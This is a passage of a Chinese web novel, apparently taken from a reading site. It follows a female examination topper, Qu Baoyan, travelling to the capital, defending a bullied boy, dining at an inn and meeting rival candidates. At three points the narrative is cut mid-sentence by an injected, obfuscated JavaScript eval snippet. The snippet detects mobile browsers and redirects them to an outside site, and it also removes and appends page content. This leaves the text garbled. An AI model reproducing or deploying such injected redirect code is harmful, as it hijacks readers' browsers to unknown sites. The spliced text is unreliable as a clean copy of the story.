“哼，”那人一摔酒盏，“好看便能做官？她文章好？不过是主考图个新鲜噱头罢了，科场之事，谁还看不明白？这女解元从未听闻，空降头名，我等寒窗十年，竟不如一介不知从哪村出来的……” 舱内几人听得皱眉，宝桃儿压着嗓子：“小姐，他是不是在说您？” 瞿宝砚却不抬头，只将毛笔蘸了蘸墨，淡淡道：“他是说那位‘女解元’，又没有指名道姓。” 老陈咳了一声，显是心中不快。另一护卫已欲起身，宝砚轻抬左手打住他动作，扫了护卫一眼，示意不要因口角之争就贸然与人冲突。 这时帘外脚步响起，那人踉跄走来，似是想寻酒添茶，掀帘一角时，正对上宝砚坐在灯下研卷的一幕。 烛影微晃，青袍素面，一双眼澄澈如镜，望向他时不含怒意，也不含笑意，十分平静。 两人四目相对，一瞬空气如凝。 冯子阳怔住，有些失态地后退半步，一时未认，正要发话，便听她缓缓开口： “阁下既言‘未闻’，想来世间之广，不能一一为耳目所见。” 瞿宝砚目光重新落回书卷上，语调平稳。 “澄州乡试，不过一省之争。宁国三十六省，才子辈出，若入京赴会，才子汇聚，风云并起。区区一解元，又算得了什么？” “兄台若真怀远志，又何必将一时高下挂于心头？” 几句话，不急不慢，如风过松林，却字字入骨。 冯子阳脸骤然涨红，心中一震，胸中那点酒意也瞬间消散，口中一时竟接不上话。 他未料酒后无状竟被人听了去，他不是蠢人，那几句话一出口，他便已然明白——这人是谁。 恐怕，正是他方才酒后失言、口无遮拦痛骂过的那位女解元。 一念至此，他喉头发紧，舌尖似被堵住，连一句辩解都说不出口。顿时羞愤交加，奈何脚步虚浮，只得仓皇低头，踉踉跄跄地逃了出去。 宝桃儿坐在一旁，望着那人落荒而逃的背影，撇撇嘴，低声嘀咕：“哼，他也知道怕羞啊。” 瞿宝砚静静又翻过一页书卷：“知道怕羞，不算是无药可救。” 4. 千里入京2 船在江上行了几日，已出了澄州省界，入了毗邻的梧川道。 沿岸风物渐异，江水褪了夏日的碧意，透出几分沉色。两岸枫槭斑斓，芦苇初黄，岸边多见早落的银杏叶随风打着旋儿，零零碎碎地铺了满地。 舟车换马，瞿宝砚一行人改走陆路，驿站渐简，路人渐杂。 此时入秋已深，风中已有些凉意，行人裹衣行走，脚步也比澄州时更紧促了些。 到了此处，说起“澄州女解元”的声音也逐渐稀薄。客舍茶棚里，多是本地人谈论自家风流人物——某老爷之子，文章擅诗；某官家千金，书法传家；也有人提起谁家三公子今岁赴京在望，一时纸贵。 马车上，宝桃儿掀帘望了眼路边黄叶簌簌落下，忍不住悄声问老陈：“这地儿怎么没听人再说咱们小姐了？” 老陈驾着马，轻笑：“出了澄州，谁还记得谁？才子才女年年换，风头有哪个长久的。” 车内瞿宝砚对这话倒很是赞同，却也不以为意，依旧捧着书卷细细研读。 这日午后，驿道歇脚。 入秋深处，风干天清，薄阳斜斜落在石板路上，将街边摊贩的影子拉得极长。 一行人至梧川一处县镇，街巷虽小，却人流不断。只见一木棚书肆门前围着好些人，七嘴八舌地吵着什么，空气中一丝焦灼的味道混着热气腾腾的糖炒栗香，直往鼻尖钻。 瞿宝砚立在街口，手中拈着刚买的豆包慢慢吃。 她本不打算停下，老陈去给马匹喂粮了，宝桃儿则一听有热闹，立马就凑上前去。 “小姐小姐，好像是打人了。”宝桃儿小跑回来，气喘吁吁，“听说是个小书童撞到了官家马车，被人按着不让走！” 瞿宝砚没动，只淡淡“嗯”了一声，咬了一口豆包。 前头吵得更响了些。 她不急，看着街角那棵枫树下一阵黄叶落下，豆沙微甜，入口不黏。 可等她缓步走近几步，目光落入人群之中时，动作才微微一顿。 只见一个衣衫褴褛的小书童被揪着衣领拎了起来，脸朝着街心那块湿地，但怀里却紧紧护着一本破旧的《千字文》，手指青紫，仍死死抱着不肯撒手。 “你这小贱种，污我家小爷的车轮，知不知道这车送的是抄经用的贡纸？弄脏了你赔得起吗你！”一名老仆骂得唾沫横飞，指着车轮上的泥印大作文章。 围观人皆噤声不语，有小贩低声道：“这李家的人……就是找个穷孩子撒气罢了。” “又在这镇上作威作福了——” 那小书童膝盖一软，跪在地上，却还是一边道歉，一边拼命护着怀里的书。 瞿宝砚收回目光，低头掸了掸指间豆皮碎屑。 “这地方豆包味道倒是不错，再去买些路上带着。” 宝桃儿还没反应过来，却见瞿宝砚随口一句，已经抬步入了人群。 瞿宝砚声音不高，却透得沉稳：“你是哪个衙门的人？” 那老仆回头，见来者一身青袍，身后还带着随从，单就这一身气质，语气不敢太硬：“是这小子弄脏了我们家小爷的车轮……” “若脏了就罚，那你家小爷骑马路过时溅了我身上一点泥，可否也请你家回头来赔？” 那老仆一噎：“这……这不一样，咱们家是……” “是知府的人？”她一挑眉。 “正是。” 瞿宝砚淡淡一点头，从袖中取出一方令牌，银面青印，朝阳纹饰，光影一晃。 「澄州解元·赴京应试」 她语调依旧平静：“若因小事欺辱学童，我也可写一封公文，随我上京后呈御史台。” 那老仆脸色瞬间煞白，一时结舌。 马车内的锦衣少年也坐不住了，先前懒散倚在垫上，此刻猛地直起身来，掀起帘角，只露出一线目光往外望。 李家七郎李秉章，年不过十五，平日仗着叔父官拜知府，早养成了一身骄气。他借了这辆官车本就是想在镇上摆摆场面，谁知今日这威风还未耍完，便让人堵了个正着。若是这女子真将此事带去京城、落在那什么御史台案头，那他肯定要倒大霉！ 老仆一松手，那小童立马挣脱束缚，跌跌撞撞奔向瞿宝砚，脚下一软，便要跪下。 瞿宝砚双手一捞，轻轻拦住他下跪的动作，顺势接过他怀里的那本《千字文》，翻了两页。纸张虽旧，页角卷翘，却未有半点泥水污痕，只是多了些使用过的折痕与墨晕。 瞿宝砚随口问：“叫什么名字？在哪读书？” 小童抿了抿嘴，眼里还带着未散的惊惧：“叫……叫阿林，在和山学馆念字。” 她“嗯”了一声，将书轻轻放回他怀中，又抬手拍了拍他的肩膀：“回去吧，好好读书，别怕。” 小童怔了怔，忽然“扑通”一下又跪下去，连连磕头，声音带着哭腔： “谢、谢谢姐姐！谢谢大人！” 老仆被瞿宝砚这架势弄慌了神，转身凑到车帘边，低声苦哈哈地唤：“少爷，这——这该如何是好？” 话音未落，车帘“唰”地一掀。 李秉章面色不善地探出半个身子，脸上的傲气还未褪尽，但眼神里已透出几分慌张。 “那小子——站住！”他咬牙吼道，指着正要退走的书童，“谁准你跑的！你给小爷擦干净车轮再走！” 那孩子吓得往后缩了一步，躲在瞿宝砚身后，走也不是，不走也不是。 就在这气氛一时凝住，却忽听一旁马蹄轻响。 有人拨马而来，一声调笑似玩似真传到众人跟前：“哟，李家七少今日这般清闲，连街口擦车都要亲自安排了？” 众人齐齐回头。 日光正好斜照在街尾，一匹高头大马踱步而来，鬃毛锃亮如缎，马鞍雕金嵌纹，鞍前悬着串缀珠缨。马上人一身海棠红夹墨云绿的锦袍，骚包的没边。袖口云纹翻边，内里是银灰绸衫，领口开得微阔，随风晃动，露出精致的锁骨与一串羊脂白玉链。 他腰间斜挎金打的酒葫芦，马鞭挂在肩后，鼻梁高挺，眼角微挑，唇色偏薄。一头乌发高束，只用一根朱丝带随手扎着，鬓角飞扬，神情却偏偏带着点倦意，好似谁都入不了他眼。 俊朗张扬，好看得不讲理。 可一开口，却是那种人嫌狗怕的痞味儿。 身后还跟着两名也骑着马的短打随从。 李秉章一见到来人，脸色瞬间僵住，表情像吃了什么跟便了秘似的：“季……季小爷……” 马上的人慢悠悠扯了扯嘴角，笑着抖了下手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042136|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鞭子： “这又把王大人的车驾拿出来溜呢？今儿这一幕，要是被你叔父看见——啧，怕是得叫人再送两捆《礼记》上门，好好教教你怎么跪着读书。” 李秉章脸憋得通红，张口还想挤出点什么辩解，老仆一把拽住他衣角，低声劝得急切： “少爷，别再说了，再说就真丢人了……这位可是咱梧川地界没人敢拦的主儿，连镇东税行的那帮子都绕着走的……” 可李秉章到底不甘心，咬着牙小声道：“可我最近也没干什么事儿得罪他啊……” 那边马上的季凌也挑眉，似笑非笑，耳尖倒是听得真真切切。 “哈？” 他一声轻笑，一抖缰绳，整匹马都微微前倾半步，像是随时要掀人下台的气势。 “你说最近没干什么？”他慢吞吞地抬起下颌，黑沉的眼神半眯着，“我才刚问你话你就敢顶嘴，你和王八糕子合煮一锅，竟然还煮出了脾气来？” 李秉章噎住了，一见到季凌也这表情魂都飞了，掉头连滚带爬进了车里，撕心裂肺喊车夫快走：“愣着干什么！走啊走啊走啊！想死在这儿！” 车帘“唰”地拉上，马车灰溜溜地拐进巷子，溅起一地落叶。 没了碍事的人，季凌也这才懒洋洋地转回头，吹了声口哨，拨马继续往前走。 他原本是奉他娘之命，来县署替人去收一份批文，说是王家趁水漫时动了界碑，乡老吵得不可开交，他娘便叫他去走个情面。 哪知才进镇，就撞见了这一出，李家那个不顶包的龟孙竟敢拦他的路，也不掂量掂量自己几斤几两。 季凌也手指抬了抬，一甩马鞭，催马小走。 这一出闹剧发生的快，结束的也快，瞿宝砚还站在街口，等小厮再买些豆包回来带在路上吃。 季凌也策马掠过她身边时，目光不着痕迹地落了过来。 那双眼黑沉含光，并不张扬，却有种不动声色的逼人压迫。 瞿宝砚站在路边，感受到目光，也抬眸看去，与他对视了一瞬。 风起，衣袂轻扬，落叶正好从他们中间飘过。 下一瞬，“走！”季凌也一声呼哨，那马蹄一勒，便如风卷残影那般冲出街口，带起一地尘沙与人群的惊呼。 风起时街角的树叶落得尤其快。小小的纷扰已散，街巷重归寂静。 瞿宝砚一行的马车也重新启程，车轮碾过石板时卷起一地黄叶，像秋末的余声，一点点从人心里抹过去。 瞿宝砚坐在车中，手中依旧握着那本略皱的策问草稿，眼前却浮现出方才那孩子眼底的惊惧与倔强。 她未出声，只低头抖了抖案上笔卷，重新展平。 老陈翻身上马，回头道了句：“小姐，前头再走两日，便出梧川入京道了。” 她轻轻“嗯”了一声。 宝桃儿掀帘探出脑袋，冻得直打哆嗦：“小姐，今儿风怎么这么冷？” 风确实冷了，入秋已深，车帘轻晃，缝隙间漏进来的寒意透起微微的霜气。 瞿宝砚将膝上小氅往宝桃儿那头一推，淡淡道：“再忍两天，就快到京城了。” 远山沉沉，枯枝静立，落日正沉入云间，天边薄金一线。 入京的路，已只剩下最后半程。 5. 初入京城 入京这日，天光尚亮，风中微凉。 梧桐叶落了满道，一行人穿过官道，远远便见城门高立。 “小姐——到了！前头就是承恩门！” 宝桃儿扒着车窗，眼睛亮得像打了灯笼，声音里压不住兴奋。 瞿宝砚也有些好奇，掀起帘子看去，只见远处的京门宽阔肃穆，两侧青石砌墙高耸入云，匾额上“承恩”二字金亮而厚重。 远远望去，城下沿路车马如龙，人流往来如织，路过的人大多衣饰整洁，一路香气与人声混合在一起，倒比澄州多了几分朝气。 她看着那门里门外的人群，缓缓收了眸光。 这里确实不似故乡的水巷小镇，也不同于梧川道上的浮躁纷杂。 这是天下之城，亦是藏龙卧虎之地。 过了城门盘查，马车入城，绕过几道石坊牌楼，拐入云台东侧的官驿。 “小姐，咱们今夜便先歇在这东驿，明日再去考生下榻的云台投递名帖。”老陈抱拳禀道。 瞿宝砚应声掀开车帘，微微点头，对着众人道：“一路舟车劳顿，大家都辛苦了。” 她又看了一眼天色：“刚到京城，正好是晚膳时候，就先择处宽敞些的酒楼，让大家歇歇，顺便尝一尝这京中风味。” 众人闻言一喜，老陈连忙应下：“是，我这就去安排。” 安顿好住处后，天色已近戌时。 驿外有条食街，名唤“天禄巷”，多是外省考生与家眷下榻后用饭之地。铺子虽小，招牌倒极响，有的还贴着“榜眼亲题”“探花手书”的招幌，真假难辨，却引得食客不断。 街口，有家“百川楼”，楼面三进，檐下悬着朱漆牌匾，字号斑驳却不失气派，是这片最大的一家酒肆。 老陈选的正是此处。 掌柜一见一行人衣着整齐，领头的青袍女子气度沉稳，便知不是寻常考子，他们这店可也是出过榜眼探花的，进士更是数不胜数，当即亲自迎出，笑得脸上褶子都快绽开了，一开口便是浓浓京腔：“贵客上门，可真叫小店生光！您一行人多，楼上雅间正空着，今儿您几位请自便。” 瞿宝砚略点头：“清静些便好。” 掌柜闻言一喜，当即亲领几人上楼，入一间临窗靠北的“清峰斋”，厅中陈设素净，案几擦得锃亮，墙上悬着几幅旧名士题字，倒也雅致。 一落座，后边跑腿的小二利落斟好茶水，宝砚便道：“我们初到京中，不识本地风味，还请掌柜替我们荐几道贵店拿手的京菜。” 那掌柜双手一抱拳，立马来了精神：“姑娘来得巧，咱们百川楼镇楼三味，那可是京中出了名的！” 老陈笑接：“怎么个说法？” “这头一道，叫‘四喜烧肘’，红油入骨、甜咸适中，前年那位中了榜眼的韩公子，殿试前三天就在我这儿点了这道菜，说是吃出了‘四喜临门’的好兆头。考完回来还写了首诗——什么来着？‘肘味香来衣带窄，未题金榜已春风’，您说讲不讲理？从那年起，他年年来点，连位置都不换！” 宝桃儿听得眼睛都亮了：“还有这样的说法？” 掌柜的说得了趣，接着竖起第二根手指：“可不是嘛，这还是第一道，第二道，是那‘鹿脯芋羹’，这菜上得早，做得讲究，是用雉骨熬汤、芋泥压底，配的鹿脯是北地送来的腌料鹿，前些年尚书家的公子，三榜进士、如今也在翰林，琼林宴上人家问他如何考得？他道一句‘若无鹿羹醒梦，难有三卷策通’。” 他说到这，压了压声音，意味深长：“听说他殿试那日写策时，还带着这菜的香气儿呢。” 他一说完，众人便哈哈大笑起来。 说罢，掌柜将手一抬：“这第三味‘玉露烧鹅’。”他往前凑了凑，笑得神秘：“这菜虽不见得谁题了诗，却是我们这儿最灵验的一道。您信不信？吃过这菜的，十人里头有七人都中榜！外地考子们来到京城，打听着就上我们这地儿来了，就为了点这道菜。我们后厨那师傅，到现在上灶前都要拜一拜灶神，才敢开锅。” 宝桃儿闻言一乐，笑道：“掌柜的，那我们要是把这三道都点了，那岂不是得连中三元，不中都说不过去吧。” 掌柜笑声爽朗，嘴里带着十足京腔：“您这话说得好！这三道菜，不说保准中榜，起码吃个好彩头——肘子肥中带香、鹿羹入口回甜、烧鹅皮脆骨酥，吃完保准踏实心气儿！” 瞿宝砚微微一笑，抬手示意道：“那便依掌柜的推荐。我们人多，再添几样清淡爽口的菜色，荤素搭着来。” “得嘞，姑娘吩咐的，小店自然好生照应！”掌柜眉开眼笑地领命下去，片刻后便亲自端了头一道菜上来。 “这‘四喜烧肘’，头一道上，寓意‘四喜盈门’，今儿有姑娘这样的人物来，我可得亲自伺候。” 他说着将菜搁稳，顺口道：“姑娘这气度，想来是大地方来的，莫不是江南一带？” 瞿宝砚点头应道：“澄州来的。” 掌柜也点点头：“那是个好地儿，江南人都水灵，文气高，我听说那儿今年可出了位女解元，文采了得，名声都传到这儿来了。” 说着，他摆好碟盏，又笑：“我这店前几天还来了个金陵的说书人，讲的就是她的事儿，说她笔下策论如流，三场连捷，连主考都拍了案的那种人物。” 瞿宝砚笑了笑：“掌柜的消息真是灵通。” 掌柜哈哈一笑：“咱这做小买卖的，消息不灵通，嘴皮子不利索，可开不了几十年。” 老陈听罢：“那掌柜的，今儿我们可得讨教讨教——今年这届参考的，可都是什么人物？” 掌柜一边擦着手一边顺口答道：“诶哟，这回您几位算是撞了个热头——今年这场考，可比往年厉害了。” “怎么说？”老陈接过话。 掌柜嘴一撇，压低了点声音：“这届本又是崔学政主考，监考官也都定好了。可谁知前阵子忽然下了道新旨，临时又加派了一位礼部的魏大人同堂监试。说起来，这魏大人来头可不小，向来只出现在大礼之类的场合，怎么突然插手了这会试？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042137|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着眨了眨眼：“说明这定不是寻常调职，恐怕是上头对这届盯紧了。丞相家的韩公子您听说过吧？京城顶有名，那位写诗写策都不带喘的，那小祖宗也下场了，啧，就是奔头名去的。” 瞿宝砚慢慢夹菜吃，宝桃儿停了筷子跟老陈对视了一眼。 掌柜继续自顾自道：“不只他，宗室那边也有女郎参考，还有几个江右书院来的才俊、北地王府旁系的世家子，甚至西南督学的嫡孙也来了。你想想，哪一个不是往年能顶半场风头的主角？如今都挤一块儿了。往年会试，多少还有机会拼拼运气，但今年，估计是连‘拼命’都得先掂量掂量喽。” 宝桃儿一边喝汤，一边睁大眼眨了眨：“那是说……今年特别难考？” 掌柜咂了咂嘴：“那可不，简直是难上青天，今年这届，怕选出来的个个都是‘文能提笔安天下，武能背书走京师’的活神仙。这榜一张，那叫一个风云际会、龙虎争锋。“ 正说着，小二恰好把菜托上来，他顺手接过来，笑眯眯地摆盘： “诶，菜也齐了，几位客官慢用，咱不打搅啦——也祝姑娘金榜题名。” 瞿宝砚微微一笑，轻轻举盏：“借掌柜的吉言。” 他一走，屋里便安静了几息。 宝桃儿放下筷子，望着琳琅菜品，忽然乏了味，一副心事重重的模样：“听他说的那样，我都有点怕了……今年的考生，果真都是天上掉下来的神仙吗？” 老陈笑着摇头：“怕是也有几位是从朝堂走下来的——咱哪拼得过他们的出身。” 宝桃儿一想，又板起脸道：“可不管他们再厉害，我们小姐也是女解元出身，才气一顶一的高——哪怕不是神仙，也是文星下凡！” 说着她自顾自给自己倒了半盏酒，小心举起来，又挨个给老陈和另几名随行添满。 “我也帮不上什么，只能照料好小姐的衣食起居、不添麻烦。今天咱吃了这三道吉利菜，就当讨个好口彩——” 她抬起酒盏，小脸认真又庄重：“祝咱们小姐连中三元、四喜临门！” 老陈也一口应上：“是啊！小姐今年鸿运当头，定能金榜题名，马到功成！” 几人纷纷举杯，目光灼灼地望着主位上的瞿宝砚。 瞿宝砚看着他们，唇边浮出一抹淡淡的笑意。她执起酒盏，缓缓立起身来，动作不急不缓，目光如水般落在面前这几位陪了她一路风尘的人身上。 “四喜不敢求，”她语声清淡却不失沉稳，“但若能不负此程，便是我瞿宝砚的福气。” 她举盏一礼，语气温和而有力： “这一杯，敬你们随我走这一遭，天寒路远——多谢诸位。” · 隔日，瞿宝砚一行便从驿站迁去了考生下榻的云台。 京城云台，乃朝廷特设，专为接纳各省赴京应试的考生。此处分东西两苑，女子居东，男子居西。 院落规整，屋宇清雅，书房、讲舍、膳堂俱备，虽不奢华，却也礼数周全，颇显朝廷待才之意。 6. 初入京城2 清晨的云台还沾着夜里的露气，院墙高深，瓦上落叶未扫，猫儿踩上去一阵簌簌轻响。 瞿宝砚一行人收拾妥当，循着号簿引路，入了东侧第三进的“松鹤院”。 “松鹤院”门口悬着墨字的匾额，字迹瘦劲。院中青砖铺地，正中几棵细竹，已入深秋，枝叶稀疏，风一吹便沙沙作响。 这座院落分为左、中、右三间院子，院门相对，各自独立。瞿宝砚一行才踏入，便听见左侧院子里传来阵阵扑打声——像是谁在拍被褥。 果然，左院门虚掩着，一位穿着青梅色衣裙的小姑娘正踮脚将一床被子搭在绳上，听到动静，探头看了过来。她生得伶俐，一见有人进院，眼睛一亮，转身跑进了屋内。 片刻后，门帘轻启，一人缓步走出。 来人年约二十，一袭浅紫细纹直裾，袖口与衣摆皆绣细密缠枝暗花，发挽高髻，简单配了珠翠，恰到好处。装束极素，料子却上乘，显然出自名匠，贵而不浮。 女子眉目生得清婉，眼中似带三分冷意，却并不失礼。步子稳当，站定后望向院中，目光落在最前方的瞿宝砚身上。 瞿宝砚与她四目相对，当即止步，拱手施礼，语气温和：“澄州瞿宝砚，今早方到云台，近日多有叨扰，还望见谅。” 来人听罢，点头回礼，声音也清清淡淡，带着世家的教养分寸：“岭南萧令仪。院落本就多人居住，姑娘无需客气。” 宝桃儿在旁轻声：“小姐，要选哪间？” 瞿宝砚看了一眼两边厢房，道：“右边罢。” 她话音刚落，萧令仪抬眸望了她一眼：“右房背阴，晨间凉气重，姑娘若畏寒，可再斟酌斟酌。” 瞿宝砚微微颔首：“多谢萧姑娘提醒，习惯了，倒是无妨。” 两人目光在空中轻轻交汇一瞬，皆未多语。 萧令仪点头示意后转身回了房，那青梅衣裙的小丫鬟早已在门边候着，替她挑帘入屋，动作利落。 宝桃儿低声凑到瞿宝砚耳边：“这位萧姑娘，好像不大爱说话。” 瞿宝砚转身推开右院的门，语气淡淡：“不是不爱——是稳重自持，不爱随便说罢了。” 萧令仪回了厢房，却在门边站了片刻，眉心微蹙。 澄州瞿宝砚—— 这名字好生熟悉······ 她想起来了。 在她离家前，家中曾将今年三十六省乡试人物名录一并送来，供她备览。她细看过各地前三，记得清楚。 而那唯一一位的女解元，便是澄州的瞿宝砚。 恰巧她的祖父与澄州今科主考私交甚笃，临行前亦曾闲谈及此人，说得颇为赞赏： ——“三场策论皆破题新巧，文思通透，字迹整肃，一笔未改。” ——“诗文风骨清峻，不流时俗。于群英之中，颇具大才之望。” 真是百闻不如一见。 萧令仪想来觉得真巧，如今此人竟与她住对门。 近来几日，她也在云台各处见过数省解元。多是自负其才者，言语间不免带着三分矜持、七分傲气；其中不乏才名响亮者，而言行却轻浮失重，不少叫她多少有些看不惯。今朝风头无两，未见得真堪大用。 她本以为这位独一份的女解元若非更骄，只怕更冷。脑中却闪回方才院中相见的那一幕。 那人眉目清朗，立如芝兰。举止不疾不徐，言语得体，不流于俗礼，也不逾矩，行事分明有主见，却不锋芒毕露。 萧令仪胸口微微起伏，心中浮起一丝轻微的懊意。 ——方才说得少了。 本以为只是暂住同院，不必多言，倒失了先机。现在看来，应该多说几句的。 她立在窗前，从竹帘缝隙往外望了一眼。只见右院的门已经掩上，门前无人，显然是已经安顿妥当，她也不好贸然登门。 若要继续搭话，只怕要等下一次偶遇了。不过她们住得近，自有机会。 萧令仪轻舒一口气，在桌前坐下，拾起方才搁下的家书，重新读了起来。 这趟她早来京中，本就是为熟悉人文、试探风向。 眼下离来年春闱尚有数月，真正的较量还尚未启幕。 三十六省，万千士子，然能终入庙堂、共佐时局者，终归寥寥。若今朝能结一分善缘，来日同朝共处之时，纵难言肝胆相照，亦可倚之共行，不致形影相对。 她转头看向窗外那扇紧闭的右院门，心下思绪微泛。 · 京城的冬，比澄州来得更早，也更冷些。 立冬已过，天光早早沉了下去。院里，几枝枯竹挨着墙根站着，被寒风吹得吱呀作响，瓦缝间也结了薄霜。 厢房内，早已设了小炭盆，炭火烧得温红，明亮不跳。案几上放着暖手的陶盏，热气缭绕。宝桃儿将瞿宝砚睡的床帘角掖紧，又取一床素绢厚被，手一抖，轻声铺展开来。 瞿宝砚坐在窗下，身着月白褙子，外覆一袭深蓝的棉袍，素净又保暖。案前摊着一页策纸，半张已落墨，字迹工整，墨色犹湿。 她执笔凝思，神色沉静。这一坐、一思、一写，又是一整天。 灯火映在她的眉睫之间，映得她神情愈发专注。外头风再紧，那笔下行文却依旧不疾不徐。 正在此时，院门外忽然传来一声轻叩。 “笃笃。” 坐在一旁的宝桃儿看了眼全神贯注写文章的瞿宝砚，听瞿宝砚道：“去开门吧。” 宝桃儿连忙应声起来：“诶。” 门一开，只见是位熟悉的身影—— “萧姑娘？” 萧令仪披着件厚披风立在门外，神色仍是那般清冷端方，却不再拘谨，语气也多了几分熟稔：“快些叫宝砚收拾，再不去就排不上前座了。” 她身旁的绿珠正一手拎着厚被，一手提着个竹盒，里面透着热气，另外还挂着两个包得严实的暖手捂子，显然是早有准备。 屋内，瞿宝砚微微一顿，放下笔起身出门：“现在？蕴真堂不是明日才开讲吗？” 话音未落，院门那头又传来脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042138|178823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步声。 一阵风卷着门帘掀开，褚清芸裹着件墨红的狐裘，手里大咧咧提着半叠策纸、一壶茶水，笑着催促：“你们也太慢了。” 她一边走一边往怀里塞东西，话说得极快：“蕴真堂哪是等开了门才去的？位置是抢的，今天晚了，明儿就得站着听——还是在门外。” 她又一边裹手套边说：“多亏我叫阿尧早去守着，再迟一步，明日连座师的衣摆都望不见了。” 褚清芸前阵子方才搬来。乃是宁朔巡抚之女，一篇直陈三省边赋之策在边地便传得沸沸扬扬。 宁朔是北地重镇，与漠外接壤，民风悍烈，赋重兵多。她自小长在军政一线，文风慷慨，策意凌厉，不似萧令仪与瞿宝砚性子内敛，她爽直热切，初来便主动登门拜访，三两日便与人打成一片。 三人性情虽异，话却说得投机。 她看向瞿宝砚，语调熟稔：“走不走？你不走我可真先去了——到时候可别怪我抢你们前头的位置。” 瞿宝砚望了眼窗外夜色，天上星子稀疏：“这才亥末，堂门便开了吗？” “开。”萧令仪答得干脆，“每年初讲皆是如此，今科自然也不例外。” 话音才落，宝桃儿那边已“嗖”地抖开了包袱，嘴里不停：“干粮我带上了，暖壶有了，笔墨、毯子、茶壶都在这儿，快快，小姐您只管披好大氅，咱们一步都不能慢了。” 瞿宝砚哭笑不得，只得从衣架上取了件玄青大氅披上，一边扣好系绦一边道：“我这才没写完一篇，就被你们催着去抢位置。” 褚清芸笑：“不抢？那明儿咱们就一起在廊下喝风去。” 萧令仪轻轻拉开门帘：“等到了子时，恐怕连堂前灯都看不见了。” 瞿宝砚说话间动作也迅速，半刻没耽误。几人一行踏出门时，夜风扑面而来，冷得人连肩膀都缩了一截。 褚清芸裹着大氅一路带头，脚步利落得像是抢营房的兵；萧令仪步履不疾，跟在后头；宝桃儿背着包袱小跑跟上，嘴里还嘀咕着：“今儿这风都能刮破耳朵，蕴真堂到底是读策的，还是打仗的？” 瞿宝砚看着众人只笑不语，抬头看了眼夜色。 路上青石铺道静悄悄的，路两旁一盏盏灯笼被风吹得微微摇晃。 “像不像？”褚清芸忽然回头冲她们笑，“一灯一命根子，往前走的，全是奔着生死去的。”这没头没尾的话她说完自己先乐了，笑声带着点北地口音的爽利，“咱们那儿行军打仗，夜里扎营也就靠这种灯火定心。从小我爹就说，营灯亮着，人心就不散。” 她晃了晃手里拿着的大包小包，一阵丁零当哐啷：“这蕴真堂也差不多，谁策写得准、立得住，就跟战阵上马步扎得稳，一个道理。” 宝桃儿在后头听得牙根发凉：“听您说得我怎么更紧张了……” 褚清芸平日里最喜欢逗宝桃儿，因为宝桃儿的反应最是有趣，听完这话立即哈哈大笑起来。 几人披风随风浮动，被灯火拉出绰绰剪影，一路朝着蕴真堂霍霍奔去。 7. 一策开篇 蕴真堂立在贡院东南一隅，堂未至，灯先见。 几人绕过三道廊，才见得那院外已密密麻麻挤了一层人。 堂门还未开，门前却早被候讲的考子围得个水泄不通。有人席地而坐，裹着棉袍缩成一团；有人嘴里叼着干粮，手里还捏着《时政要略》翻得飞快；更有两人背对背坐着，一人念题一人背文，背得错了就拿小竹板敲一下。 堂门上挂着一方布帛，墨字写着： 「春闱讲策·初冬开讲」 褚清芸吹了声口哨：“今儿这仗，打得真早。” 宝桃儿一脸震惊：“这都还没开讲呢……他们咋跟打了鸡血似的。不是，那边怎么还有人把屋子都给搬来了？” 几人目光不自觉望向一侧—— 堂院东角临时搭起一处廊亭，帘幔掩映，暖帐罩炉，几名仆从低声伺候着，竟还有炭盆、茶案一应俱全。与周围挤作一团的考子相比，那里简直是京城沸鼎街上的一处雅正茶座。 其中一人斜倚茶案，身着云纹锦袍，袍角压着一角折卷，神情疏懒，仿佛早已忘了今夜是何事。 男子眉目生得极俊朗，眼尾微挑，天生带着几分懒意，倘不细看几乎要误以为哪来的纨绔公子。 可细一望，此人端盏品茶，盏盖轻覆，手腕微动之间，拇指一只翡翠扳指被热气氲得发亮。 人声鼎沸间，他却始终如坐云外，眼中无浮色，唇边却似笑非笑，像是个旁观者。 韩璟，当朝丞相独子。 褚清芸低声哼了声：“京中这位，传说提笔可破策，一语可止辩，就是懒。年年都说不考，不知这回太阳打那边儿出来了，他竟然跟我们半夜抢这蕴真堂的座。” 萧令仪话声不高，却一语中的：“听说——似乎是因为丞相大人。” 褚清芸一愣：“他爹？” “嗯。”萧令仪轻轻点头，目光淡淡，“传言韩璟这次若还不考，丞相便要与他断绝父子之名。” “……啧。”褚清芸低声咋舌，“家法挺狠啊。” 萧令仪顿了顿，忽然想到什么，喃喃道：“今年春闱恐怕是不比往年，贵子云集、题关极重，连韩璟都被逼得下场，这策题——必有风雷。” 话方出口，忽听“吱呀”一声—— 堂门开了。 瞬息之间，原本懒坐的、蜷睡的、低声背书的，全都倏地站了起来，宛若战阵众将听鼓，动若雷震。 